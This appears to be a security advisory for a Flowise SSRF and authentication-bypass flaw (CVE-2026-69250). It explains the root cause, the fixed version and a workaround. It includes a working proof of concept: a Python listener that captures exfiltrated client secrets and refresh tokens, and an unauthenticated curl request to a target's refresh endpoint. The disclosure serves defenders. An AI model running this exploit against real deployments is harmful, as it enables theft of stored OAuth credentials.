highCVE-2026-69250Aug 4, 2026

CVE-2026-69250: Flowise Unauthenticated OAuth2 Refresh SSRF and Secret Exfiltration

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Anyone on the internet can trigger Flowise's OAuth2 token-refresh endpoint without logging in, causing the server to POST credential secrets to an attacker-controlled URL and echo the full response…

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69250: Flowise Unauthenticated OAuth2 Refresh SSRF and Secret Exfiltration

The problem

Flowise <= 3.1.2 includes /api/v1/oauth2-credential/refresh in its public auth whitelist. The auth middleware matches prefixes, so /api/v1/oauth2-credential/refresh/:credentialId is fully unauthenticated.

The refresh handler decrypts the stored credential, reads the caller-controlled accessTokenUrl field, and fires an outbound axios.post() to that URL with no SSRF denylist applied. The full response body is then returned to the caller inside tokenInfo. The POST body sent to the attacker server includes client_id, client_secret, grant_type=refresh_token, and refresh_token, making this a non-blind SSRF with direct secret exfiltration.

Proof of concept

A working proof-of-concept for CVE-2026-69250 in flowise, with the exact payload below.

bash
# Step 1: start a listener on attacker machine
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_BODY', b, flush=True)   # captures client_secret + refresh_token
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server'}).encode())
    def log_message(self, fmt, *args): pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

# Step 2: trigger refresh with NO auth headers
# credentialId must belong to an OAuth2 credential whose
# accessTokenUrl was set to the attacker server (done once, with any authed account)
curl -i -X POST \
  http://TARGET:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

# Observed response (no auth required):
# {
#   "success": true,
#   "tokenInfo": { "ok": true, "source": "attacker-server", "has_new_refresh_token": false }
# }

# Attacker server receives:
# REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

Root cause is CWE-639 (Authorization Bypass Through User-Controlled Key) combined with CWE-918 (SSRF). The auth middleware does a startsWith prefix match against the whitelist; adding /api/v1/oauth2-credential/refresh to that list unintentionally covers every credential ID beneath it.

The refresh handler then reads accessTokenUrl straight from decrypted credential storage and passes it to axios.post() without going through secureAxiosRequest() or any denylist check, so the attacker fully controls the outbound target and sees the response.

The patch at commit da8b251 removes the refresh path from the whitelist and gates it behind standard JWT authentication, matching how all other credential-mutating routes are protected.

The fix

Upgrade to flowise 3.1.3 (commit da8b251a9a4c59484ceaf6f71df7406aede7bef2). The fix removes /api/v1/oauth2-credential/refresh from the public whitelist, requiring a valid authenticated session to call the endpoint. If an immediate upgrade is not possible, block unauthenticated external access to /api/v1/oauth2-credential/ at the network or reverse-proxy layer.

Reporter not attributed.

References: [1][2][3][4]

Related research